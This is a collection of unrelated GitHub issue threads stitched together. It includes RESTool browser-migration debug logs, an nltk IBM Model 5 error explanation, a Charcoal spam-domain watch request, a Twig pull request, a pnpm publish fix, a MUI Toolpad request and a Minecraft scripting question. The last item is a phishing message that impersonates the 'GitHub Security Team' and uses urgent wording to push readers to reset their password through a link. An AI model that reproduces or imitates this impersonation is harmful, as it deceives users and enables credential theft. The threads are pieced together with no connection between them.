[2015-07-31 16:41:00.456000] DEBUG: Chrome: Checking tuple types
[2015-07-31 16:41:00.456000] DEBUG: Chrome: Executing DROP TABLE
[2015-07-31 16:41:00.874000] ERROR: Chrome: Exception when converting json data
[2015-07-31 16:41:00.874000] ERROR: Chrome: disk I/O error
Traceback (most recent call last):
File "C:\workspace\RESTool\build\RESTool_main\out00-PYZ.pyz\browsers.chrome", line 152, in set_data
OperationalError: disk I/O error

Are both browsers, especially Chrome, completely closed before you try to do the migration?

I have the same issue
Log Start[2015-08-02 10:58:26.482000] INFO: Main Qt: setting up
[2015-08-02 10:58:26.687000] DEBUG: Main Qt: _set_available_browsers
[2015-08-02 10:58:26.687000] DEBUG: Chrome: Starting initialization
[2015-08-02 10:58:26.703000] DEBUG: Chrome: searching for RES
[2015-08-02 10:58:26.703000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage
[2015-08-02 10:58:26.703000] DEBUG: Chrome: res_folder set to : C:\Users\BSK\AppData\Local\Google\Chrome\User Data\Default\Local Storage
[2015-08-02 10:58:26.703000] DEBUG: Chrome: Full path set to C:\Users\BSK\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_kbmfpngjjgdllneeigpgjifpgocmfgmb_0.localstorage
[2015-08-02 10:58:26.761000] DEBUG: Chrome: Full path exists
[2015-08-02 10:58:26.761000] INFO: Firefox: Initialization starting
[2015-08-02 10:58:26.761000] INFO: Firefox: Getting firefox profiles
[2015-08-02 10:58:26.761000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-08-02 10:58:26.761000] DEBUG: Firefox: Firefox profiles root folder set to C:\Users\BSK\AppData\Roaming\Mozilla\Firefox
[2015-08-02 10:58:26.761000] DEBUG: Firefox: profiles.ini path: C:\Users\BSK\AppData\Roaming\Mozilla\Firefox\profiles.ini
[2015-08-02 10:58:26.762000] DEBUG: Firefox: Profiles:{'default': 'Profiles/4hncjws4.default'}
[2015-08-02 10:58:26.762000] INFO: Firefox: searching for RES
[2015-08-02 10:58:26.762000] DEBUG: Firefox: Getting firefox path for profile name: default
[2015-08-02 10:58:26.762000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-08-02 10:58:26.762000] DEBUG: Firefox: Firefox res_folder set to: C:\Users\BSK\AppData\Roaming\Mozilla\Firefox
[2015-08-02 10:58:26.763000] DEBUG: Firefox: Full firefox path set to<EMAIL_ADDRESS>[2015-08-02 10:58:26.763000] DEBUG: Firefox: Full firefox path exists
[2015-08-02 10:58:26.763000] INFO: Firefox: RES exists True
[2015-08-02 10:58:26.763000] DEBUG: Safari: Starting initialization
[2015-08-02 10:58:26.763000] DEBUG: Safari: searching for RES
[2015-08-02 10:58:26.763000] ERROR: Safari: Unsupported OS. Returning None
[2015-08-02 10:58:26.763000] DEBUG: Chromium: Starting initialization
[2015-08-02 10:58:26.763000] DEBUG: Chromium: searching for RES
[2015-08-02 10:58:26.763000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Chromium\User Data\Default\Local Storage
[2015-08-02 10:58:26.764000] DEBUG: Chromium: res_folder set to : C:\Users\BSK\AppData\Local\Chromium\User Data\Default\Local Storage
[2015-08-02 10:58:26.764000] ERROR: Chromium: Selected folder does not exist
[2015-08-02 10:58:26.764000] DEBUG: Canary: Starting initialization
[2015-08-02 10:58:26.764000] DEBUG: Canary: searching for RES
[2015-08-02 10:58:26.764000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Google\Chrome Canary\User Data\Default\Local Storage
[2015-08-02 10:58:26.764000] DEBUG: Canary: res_folder set to : C:\Users\BSK\AppData\Local\Google\Chrome Canary\User Data\Default\Local Storage
[2015-08-02 10:58:26.764000] ERROR: Canary: Selected folder does not exist
[2015-08-02 10:58:26.765000] DEBUG: Main Qt: _first_browser_changed
[2015-08-02 10:58:26.765000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 10:58:26.765000] DEBUG: Main Qt: Changing first browser profile to None
[2015-08-02 10:58:26.765000] DEBUG: Main Qt: _second_browser_changed
[2015-08-02 10:58:26.765000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 10:58:26.765000] DEBUG: Main Qt: Changing second browser profile to None
[2015-08-02 10:58:26.765000] INFO: Main Qt: Available choices first OrderedDict([('None', None), ('Chrome', <browsers.chrome.Chrome object at 0x02BCE5B0>), ('Firefox', <browsers.firefox.Firefox object at 0x02BDA6F0>)])
[2015-08-02 10:58:26.765000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 10:58:26.766000] DEBUG: Main Qt: Changing first browser profile to
[2015-08-02 10:58:26.766000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-08-02 10:58:26.766000] DEBUG: Main Qt: Changing first browser profile to None
[2015-08-02 10:58:26.766000] DEBUG: Main Qt: Changing second browser profile to
[2015-08-02 10:58:26.766000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-08-02 10:58:26.766000] DEBUG: Main Qt: Changing second browser profile to None
[2015-08-02 10:58:26.766000] INFO: Main Qt: Loading settings
[2015-08-02 10:58:26.810000] INFO: Main Qt: no config file found
[2015-08-02 10:58:26.811000] INFO: Main Qt: setting default config
[2015-08-02 10:58:26.811000] DEBUG: Main Qt: _update backups lis
[2015-08-02 10:58:26.811000] DEBUG: Main Qt: folders to check set(['res_backups', u'C:\Users\BSK\AppData\Local\nikolak\RESTool'])
[2015-08-02 10:58:26.811000] ERROR: Main Qt: [Error 3] The system cannot find the path specified: u'C:\Users\BSK\AppData\Local\nikolak\RESTool\.'
Traceback (most recent call last):
File "", line 379, in _update_backups_list
WindowsError: [Error 3] The system cannot find the path specified: u'C:\Users\BSK\AppData\Local\nikolak\RESTool\.'
[2015-08-02 10:58:26.812000] DEBUG: Main Qt: Checking for updates...
[2015-08-02 10:58:30.048000] DEBUG: Main Qt: Latest release version 0.2.1
[2015-08-02 10:58:30.048000] INFO: Main Qt: Update doesn't exist, emitting no.
[2015-08-02 11:12:10.985000] INFO: Main Qt: setting up
[2015-08-02 11:12:11.157000] DEBUG: Main Qt: _set_available_browsers
[2015-08-02 11:12:11.157000] DEBUG: Chrome: Starting initialization
[2015-08-02 11:12:11.157000] DEBUG: Chrome: searching for RES
[2015-08-02 11:12:11.157000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage
[2015-08-02 11:12:11.173000] DEBUG: Chrome: res_folder set to : C:\Users\BSK\AppData\Local\Google\Chrome\User Data\Default\Local Storage
[2015-08-02 11:12:11.173000] DEBUG: Chrome: Full path set to C:\Users\BSK\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_kbmfpngjjgdllneeigpgjifpgocmfgmb_0.localstorage
[2015-08-02 11:12:11.173000] DEBUG: Chrome: Full path exists
[2015-08-02 11:12:11.173000] INFO: Firefox: Initialization starting
[2015-08-02 11:12:11.173000] INFO: Firefox: Getting firefox profiles
[2015-08-02 11:12:11.173000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-08-02 11:12:11.173000] DEBUG: Firefox: Firefox profiles root folder set to C:\Users\BSK\AppData\Roaming\Mozilla\Firefox
[2015-08-02 11:12:11.173000] DEBUG: Firefox: profiles.ini path: C:\Users\BSK\AppData\Roaming\Mozilla\Firefox\profiles.ini
[2015-08-02 11:12:11.173000] DEBUG: Firefox: Profiles:{'default': 'Profiles/4hncjws4.default'}
[2015-08-02 11:12:11.173000] INFO: Firefox: searching for RES
[2015-08-02 11:12:11.173000] DEBUG: Firefox: Getting firefox path for profile name: default
[2015-08-02 11:12:11.173000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-08-02 11:12:11.173000] DEBUG: Firefox: Firefox res_folder set to: C:\Users\BSK\AppData\Roaming\Mozilla\Firefox
[2015-08-02 11:12:11.173000] DEBUG: Firefox: Full firefox path set to<EMAIL_ADDRESS>[2015-08-02 11:12:11.173000] DEBUG: Firefox: Full firefox path exists
[2015-08-02 11:12:11.173000] INFO: Firefox: RES exists True
[2015-08-02 11:12:11.173000] DEBUG: Safari: Starting initialization
[2015-08-02 11:12:11.173000] DEBUG: Safari: searching for RES
[2015-08-02 11:12:11.173000] ERROR: Safari: Unsupported OS. Returning None
[2015-08-02 11:12:11.173000] DEBUG: Chromium: Starting initialization
[2015-08-02 11:12:11.173000] DEBUG: Chromium: searching for RES
[2015-08-02 11:12:11.173000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Chromium\User Data\Default\Local Storage
[2015-08-02 11:12:11.173000] DEBUG: Chromium: res_folder set to : C:\Users\BSK\AppData\Local\Chromium\User Data\Default\Local Storage
[2015-08-02 11:12:11.173000] ERROR: Chromium: Selected folder does not exist
[2015-08-02 11:12:11.173000] DEBUG: Canary: Starting initialization
[2015-08-02 11:12:11.173000] DEBUG: Canary: searching for RES
[2015-08-02 11:12:11.173000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Google\Chrome Canary\User Data\Default\Local Storage
[2015-08-02 11:12:11.173000] DEBUG: Canary: res_folder set to : C:\Users\BSK\AppData\Local\Google\Chrome Canary\User Data\Default\Local Storage
[2015-08-02 11:12:11.173000] ERROR: Canary: Selected folder does not exist
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: _first_browser_changed
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: Changing first browser profile to None
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: _second_browser_changed
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: Changing second browser profile to None
[2015-08-02 11:12:11.173000] INFO: Main Qt: Available choices first OrderedDict([('None', None), ('Chrome', <browsers.chrome.Chrome object at 0x02CFE5B0>), ('Firefox', <browsers.firefox.Firefox object at 0x02D0A6F0>)])
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: Changing first browser profile to
[2015-08-02 11:12:11.173000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: Changing first browser profile to None
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: Changing second browser profile to
[2015-08-02 11:12:11.173000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-08-02 11:12:11.173000] DEBUG: Main Qt: Changing second browser profile to None
[2015-08-02 11:12:11.173000] INFO: Main Qt: Loading settings
[2015-08-02 11:12:11.204000] INFO: Main Qt: no config file found
[2015-08-02 11:12:11.204000] INFO: Main Qt: setting default config
[2015-08-02 11:12:11.204000] DEBUG: Main Qt: _update backups lis
[2015-08-02 11:12:11.204000] DEBUG: Main Qt: folders to check set(['res_backups', u'C:\Users\BSK\AppData\Local\nikolak\RESTool'])
[2015-08-02 11:12:11.204000] ERROR: Main Qt: [Error 3] The system cannot find the path specified: u'C:\Users\BSK\AppData\Local\nikolak\RESTool\.'
Traceback (most recent call last):
File "", line 379, in _update_backups_list
WindowsError: [Error 3] The system cannot find the path specified: u'C:\Users\BSK\AppData\Local\nikolak\RESTool\.'
[2015-08-02 11:12:11.204000] DEBUG: Main Qt: Checking for updates...
[2015-08-02 11:12:20.111000] INFO: Main Qt: setting up
[2015-08-02 11:12:20.236000] DEBUG: Main Qt: _set_available_browsers
[2015-08-02 11:12:20.236000] DEBUG: Chrome: Starting initialization
[2015-08-02 11:12:20.252000] DEBUG: Chrome: searching for RES
[2015-08-02 11:12:20.252000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage
[2015-08-02 11:12:20.252000] DEBUG: Chrome: res_folder set to : C:\Users\BSK\AppData\Local\Google\Chrome\User Data\Default\Local Storage
[2015-08-02 11:12:20.252000] DEBUG: Chrome: Full path set to C:\Users\BSK\AppData\Local\Google\Chrome\User Data\Default\Local Storage\chrome-extension_kbmfpngjjgdllneeigpgjifpgocmfgmb_0.localstorage
[2015-08-02 11:12:20.252000] DEBUG: Chrome: Full path exists
[2015-08-02 11:12:20.252000] INFO: Firefox: Initialization starting
[2015-08-02 11:12:20.252000] INFO: Firefox: Getting firefox profiles
[2015-08-02 11:12:20.252000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-08-02 11:12:20.252000] DEBUG: Firefox: Firefox profiles root folder set to C:\Users\BSK\AppData\Roaming\Mozilla\Firefox
[2015-08-02 11:12:20.252000] DEBUG: Firefox: profiles.ini path: C:\Users\BSK\AppData\Roaming\Mozilla\Firefox\profiles.ini
[2015-08-02 11:12:20.252000] DEBUG: Firefox: Profiles:{'default': 'Profiles/4hncjws4.default'}
[2015-08-02 11:12:20.252000] INFO: Firefox: searching for RES
[2015-08-02 11:12:20.252000] DEBUG: Firefox: Getting firefox path for profile name: default
[2015-08-02 11:12:20.252000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-08-02 11:12:20.252000] DEBUG: Firefox: Firefox res_folder set to: C:\Users\BSK\AppData\Roaming\Mozilla\Firefox
[2015-08-02 11:12:20.252000] DEBUG: Firefox: Full firefox path set to<EMAIL_ADDRESS>[2015-08-02 11:12:20.252000] DEBUG: Firefox: Full firefox path exists
[2015-08-02 11:12:20.252000] INFO: Firefox: RES exists True
[2015-08-02 11:12:20.252000] DEBUG: Safari: Starting initialization
[2015-08-02 11:12:20.252000] DEBUG: Safari: searching for RES
[2015-08-02 11:12:20.252000] ERROR: Safari: Unsupported OS. Returning None
[2015-08-02 11:12:20.252000] DEBUG: Chromium: Starting initialization
[2015-08-02 11:12:20.252000] DEBUG: Chromium: searching for RES
[2015-08-02 11:12:20.252000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Chromium\User Data\Default\Local Storage
[2015-08-02 11:12:20.252000] DEBUG: Chromium: res_folder set to : C:\Users\BSK\AppData\Local\Chromium\User Data\Default\Local Storage
[2015-08-02 11:12:20.252000] ERROR: Chromium: Selected folder does not exist
[2015-08-02 11:12:20.252000] DEBUG: Canary: Starting initialization
[2015-08-02 11:12:20.252000] DEBUG: Canary: searching for RES
[2015-08-02 11:12:20.252000] DEBUG: Browser: Expanding: %LOCALAPPDATA%\Google\Chrome Canary\User Data\Default\Local Storage
[2015-08-02 11:12:20.252000] DEBUG: Canary: res_folder set to : C:\Users\BSK\AppData\Local\Google\Chrome Canary\User Data\Default\Local Storage
[2015-08-02 11:12:20.252000] ERROR: Canary: Selected folder does not exist
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: _first_browser_changed
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: Changing first browser profile to None
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: _second_browser_changed
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: Changing second browser profile to None
[2015-08-02 11:12:20.252000] INFO: Main Qt: Available choices first OrderedDict([('None', None), ('Chrome', <browsers.chrome.Chrome object at 0x02C8E5B0>), ('Firefox', <browsers.firefox.Firefox object at 0x02C9A6F0>)])
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: Changing first browser profile to
[2015-08-02 11:12:20.252000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: Changing first browser profile to None
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: Changing second browser profile to
[2015-08-02 11:12:20.252000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-08-02 11:12:20.252000] DEBUG: Main Qt: Changing second browser profile to None
[2015-08-02 11:12:20.252000] INFO: Main Qt: Loading settings
[2015-08-02 11:12:20.299000] INFO: Main Qt: no config file found
[2015-08-02 11:12:20.299000] INFO: Main Qt: setting default config
[2015-08-02 11:12:20.299000] DEBUG: Main Qt: _update backups lis
[2015-08-02 11:12:20.299000] DEBUG: Main Qt: folders to check set(['res_backups', u'C:\Users\BSK\AppData\Local\nikolak\RESTool'])
[2015-08-02 11:12:20.299000] ERROR: Main Qt: [Error 3] The system cannot find the path specified: u'C:\Users\BSK\AppData\Local\nikolak\RESTool\.'
Traceback (most recent call last):
File "", line 379, in _update_backups_list
WindowsError: [Error 3] The system cannot find the path specified: u'C:\Users\BSK\AppData\Local\nikolak\RESTool\.'
[2015-08-02 11:12:20.299000] DEBUG: Main Qt: Checking for updates...
[2015-08-02 11:12:23.341000] DEBUG: Main Qt: Latest release version 0.2.1
[2015-08-02 11:12:23.341000] INFO: Main Qt: Update doesn't exist, emitting no.
[2015-08-02 11:12:25.211000] DEBUG: Main Qt: _first_browser_changed
[2015-08-02 11:12:25.211000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 11:12:25.211000] DEBUG: Main Qt: Changing first browser profile to
[2015-08-02 11:12:25.211000] WARNING: Main Qt: Browser does not support changing profiles.
[2015-08-02 11:12:25.211000] DEBUG: Main Qt: Changing first browser profile to None
[2015-08-02 11:12:26.552000] DEBUG: Main Qt: _second_browser_changed
[2015-08-02 11:12:26.552000] DEBUG: Main Qt: _set_available_profiles
[2015-08-02 11:12:26.552000] DEBUG: Main Qt: Changing second browser profile to
[2015-08-02 11:12:26.552000] INFO: Firefox: Firefox changing profile to
[2015-08-02 11:12:26.552000] DEBUG: Firefox: selected profile not in available profiles
[2015-08-02 11:12:26.552000] DEBUG: Main Qt: Changing second browser profile to default
[2015-08-02 11:12:26.552000] INFO: Firefox: Firefox changing profile to default
[2015-08-02 11:12:26.552000] DEBUG: Firefox: Getting firefox path for profile name: default
[2015-08-02 11:12:26.552000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-08-02 11:12:26.552000] DEBUG: Firefox: Firefox res_folder set to: C:\Users\BSK\AppData\Roaming\Mozilla\Firefox
[2015-08-02 11:12:26.552000] DEBUG: Firefox: Full firefox path set to<EMAIL_ADDRESS>[2015-08-02 11:12:26.567000] DEBUG: Firefox: Full firefox path exists
[2015-08-02 11:12:29.735000] INFO: Main Qt: Migrating 'firefox' to 'chrome'
[2015-08-02 11:12:29.735000] DEBUG: Firefox: Firefox get data
[2015-08-02 11:12:29.735000] DEBUG: Firefox: Firefox path set to<EMAIL_ADDRESS>[2015-08-02 11:12:29.735000] DEBUG: Firefox: Opening firefox_path file with 'r' flag, utf-8 mode
[2015-08-02 11:12:29.735000] DEBUG: Firefox: json.load firefox file
[2015-08-02 11:12:29.766000] DEBUG: Firefox: ff_json contains some data
[2015-08-02 11:12:29.766000] INFO: Chrome: set_data
[2015-08-02 11:12:29.782000] DEBUG: Chrome: Connecting to database...
[2015-08-02 11:12:29.782000] DEBUG: Chrome: Generating list of key, value tuples
[2015-08-02 11:12:29.782000] DEBUG: Chrome: Tuples generated. Count: 336
[2015-08-02 11:12:29.782000] DEBUG: Chrome: Checking tuple types
[2015-08-02 11:12:29.782000] ERROR: Chrome: Exception when converting json data
[2015-08-02 11:12:29.782000] ERROR: Chrome: isinstance() arg 2 must be a class, type, or tuple of classes and types
Traceback (most recent call last):
File "C:\workspace\RESTool\build\RESTool_main\out00-PYZ.pyz\browsers.chrome", line 147, in set_data
File "C:\workspace\RESTool\build\RESTool_main\out00-PYZ.pyz\browsers.browser", line 93, in is_valid_sqlite_data
File "C:\workspace\RESTool\build\RESTool_main\out00-PYZ.pyz\browsers.browser", line 93, in
TypeError: isinstance() arg 2 must be a class, type, or tuple of classes and types
[2015-08-02 11:12:29.782000] INFO: Main Qt: Migrating data with set_data failed.
[2015-08-02 11:12:34.947000] INFO: Main Qt: Restoring backup to <browsers.chrome.Chrome object at 0x02C8E5B0>
[2015-08-02 11:12:34.947000] DEBUG: Main Qt: Selected backup: firefox.2015-08-01.68fd2.resbak
[2015-08-02 11:12:34.947000] DEBUG: Main Qt: Backup path: res_backups\firefox.2015-08-01.68fd2.resbak
[2015-08-02 11:12:34.947000] DEBUG: Main Qt: Restore format
[2015-08-02 11:12:34.947000] INFO: Firefox: Initialization starting
[2015-08-02 11:12:34.947000] INFO: Firefox: Getting firefox profiles
[2015-08-02 11:12:34.947000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-08-02 11:12:34.947000] DEBUG: Firefox: Firefox profiles root folder set to C:\Users\BSK\AppData\Roaming\Mozilla\Firefox
[2015-08-02 11:12:34.947000] DEBUG: Firefox: profiles.ini path: C:\Users\BSK\AppData\Roaming\Mozilla\Firefox\profiles.ini
[2015-08-02 11:12:34.947000] DEBUG: Firefox: Profiles:{'default': 'Profiles/4hncjws4.default'}
[2015-08-02 11:12:34.947000] INFO: Firefox: searching for RES
[2015-08-02 11:12:34.947000] DEBUG: Firefox: Getting firefox path for profile name: default
[2015-08-02 11:12:34.947000] DEBUG: Browser: Expanding: %APPDATA%\Mozilla\Firefox
[2015-08-02 11:12:34.947000] DEBUG: Firefox: Firefox res_folder set to: C:\Users\BSK\AppData\Roaming\Mozilla\Firefox
[2015-08-02 11:12:34.947000] DEBUG: Firefox: Full firefox path set to<EMAIL_ADDRESS>[2015-08-02 11:12:34.947000] DEBUG: Firefox: Full firefox path exists
[2015-08-02 11:12:34.947000] INFO: Firefox: RES exists True
[2015-08-02 11:12:34.947000] DEBUG: Firefox: Firefox get data
[2015-08-02 11:12:34.947000] DEBUG: Firefox: Firefox path set to: res_backups\firefox.2015-08-01.68fd2.resbak
[2015-08-02 11:12:34.947000] DEBUG: Firefox: Opening firefox_path file with 'r' flag, utf-8 mode
[2015-08-02 11:12:34.963000] DEBUG: Firefox: json.load firefox file
[2015-08-02 11:12:34.963000] DEBUG: Firefox: ff_json contains some data
[2015-08-02 11:12:34.978000] INFO: Chrome: set_data
[2015-08-02 11:12:34.994000] DEBUG: Chrome: Connecting to database...
[2015-08-02 11:12:34.994000] DEBUG: Chrome: Generating list of key, value tuples
[2015-08-02 11:12:34.994000] DEBUG: Chrome: Tuples generated. Count: 335
[2015-08-02 11:12:34.994000] DEBUG: Chrome: Checking tuple types
[2015-08-02 11:12:34.994000] ERROR: Chrome: Exception when converting json data
[2015-08-02 11:12:34.994000] ERROR: Chrome: isinstance() arg 2 must be a class, type, or tuple of classes and types
Traceback (most recent call last):
File "C:\workspace\RESTool\build\RESTool_main\out00-PYZ.pyz\browsers.chrome", line 147, in set_data
File "C:\workspace\RESTool\build\RESTool_main\out00-PYZ.pyz\browsers.browser", line 93, in is_valid_sqlite_data
File "C:\workspace\RESTool\build\RESTool_main\out00-PYZ.pyz\browsers.browser", line 93, in
TypeError: isinstance() arg 2 must be a class, type, or tuple of classes and types

Closed due to lack of information to confirm the bug.


IBM Model 5 nltk

Can someone help with the following error
 in
8 from nltk.translate.ibm_model import Counts, longest_target_sentence_length
9
---> 10 class IBMModel5(IBMModel):
11     bitext = []
12     bitext.append(AlignedSent(['klein', 'ist', 'das', 'haus'], ['the', 'house', 'is', 'small']))
 in IBMModel5()
32     print(round(ibm5.p1, 3))
33     test_sentence = bitext[2]
---> 34     test_sentence.words['das', 'buch', 'ist', 'ja', 'klein']
35     test_sentence.mots['the', 'book', 'is', 'small']
36     test_sentence.alignment
TypeError: list indices must be integers or slices, not tuple

I think you have made a copy-paste error somewhere. Your code here
32 print(round(ibm5.p1, 3))
33 test_sentence = bitext[2]
---> 34 test_sentence.words['das', 'buch', 'ist', 'ja', 'klein']
35 test_sentence.mots['the', 'book', 'is', 'small']
36 test_sentence.alignment

seems to match code blocks from the documentation, with some notable exceptions:
['das', 'buch', 'ist', 'ja', 'klein'] and ['the', 'book', 'is', 'small'] are outputs of printing test_sentence.words and test_sentence.mots, respectively. However, you have turned the input and output into one line:
test_sentence.words['das', 'buch', 'ist', 'ja', 'klein']
test_sentence.mots['the', 'book', 'is', 'small']

Unexpectedly, this does not work. After all, test_sentence.words and test_sentence.mots are both lists. and with this syntax you are trying to erroneously perform list indexing, as suggested by the error.
Hope that clears it up. I'll close this.

Tom Aarsen


Fix example in docs for filter

Right now, the code example for the filter function is incorrect. When writing, the author may have accidentally mixed up what the function does with key and value.

Whoops!


Simplify Cythonize Step

Check for existence of cythonized sliding window module.  If it doesn't exist then automatically create it and move file to correct location.

Added in v0.13.0


Jesse: Watch fajleyr.com

Jesse requests the watch of the watch_keyword fajleyr\.com. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

fajleyr\.com has been seen in 1 true positive, 0 false positives, and 0 NAAs.

Approved by Jeff Schaller in Charcoal HQ


Allow defined test and default filter on methods

Patch for #487.

Problem is when some of the arguments reference variables that do not exist (foo.bar(bar.foobar)). That's why I've added the check on arguments.

@fabpot I'm not exactly sure what is the expected behavior in that case. When writing foo.defined(undefined)|default() I think an exception is the expected behavior (because there is an undefined variable without default, even if it is in the method arguments). With foo.undefined(undefined)|default() on the other hand I'm not sure. One could argue that as the method does not exist the arguments never need to be evaluated.

The same code is used for the defined test: what would be the expected behavior for foo.defined(underfined) is defined?

@nikic: I've merged your PR and added some notes in the doc about how things work: 88dd4ac5797


fix publish workflow

add --no-git-check for pnpm publish
closes #2

v1.0.1 published! https://www.npmjs.com/package/typescript2openai

@tarasglek for later, if you want to create a new release:

pnpm version patch or pnpm version minor etc.
git push origin main
git push origin main --tags
Create a New Release using the tag you just pushed

very cool


Page explorer panel height should presist

Duplicates

[X] I have searched the existing issues

Latest version

[X] I have tested the latest version

Summary 💡
As shown in the video, the width of the right panel persists. The same UX should also be there for page explorer.
https://github.com/mui/mui-toolpad/assets/92228082/b9272eae-57c3-4102-9fc9-0604bb429d94

@bharatkashyap Correct me if I'm wrong, but I believe this would be closed by https://github.com/mui/mui-toolpad/pull/2398?

@bharatkashyap Correct me if I'm wrong, but I believe this would be closed by #2398?

Yes. this should be fixed by adding an autoSaveId for this panel


Definition Modifier

Sorry for contacting like this I just don't know of any other way.
I had a question about DefinitionModifier on learn.microsoft for Bedrock ScripAPI
I'm trying to add the component "minecraft:tags": {"tags": ["minecraft:planks"] to the entity item for my block banana:wisteria_planks
The reason I'm doing this is for recipe purposes. I would just create an item for banana:wisteria_planks and add the tags to it however, from what I can tell, it is impossible to create an item with the same namespace as the block without ruining it in some capacity.
So I want to add the tag component via script(.js) to it, but I just can't figure out how. Any help would be appreciated if it's even possible, thank you!

Urgent: Security Alert for
Hello,
We've detected unusual activity in your GitHub repository . To ensure that your account remains secure, we urgently need you to take action.
What You Need To Do:

Verify Repository Settings

Ensure that your repository settings have not been altered without your consent.

Reset Your Password

Visit this secure link to reset your password immediately: Reset Password

Revoke Unauthorized Access

After resetting, please review any unauthorized access and revoke them.

Thank you for your prompt attention to this matter to ensure the security of your GitHub account.
If you did not initiate these changes, please contact us immediately.
Best Regards,
GitHub Security Team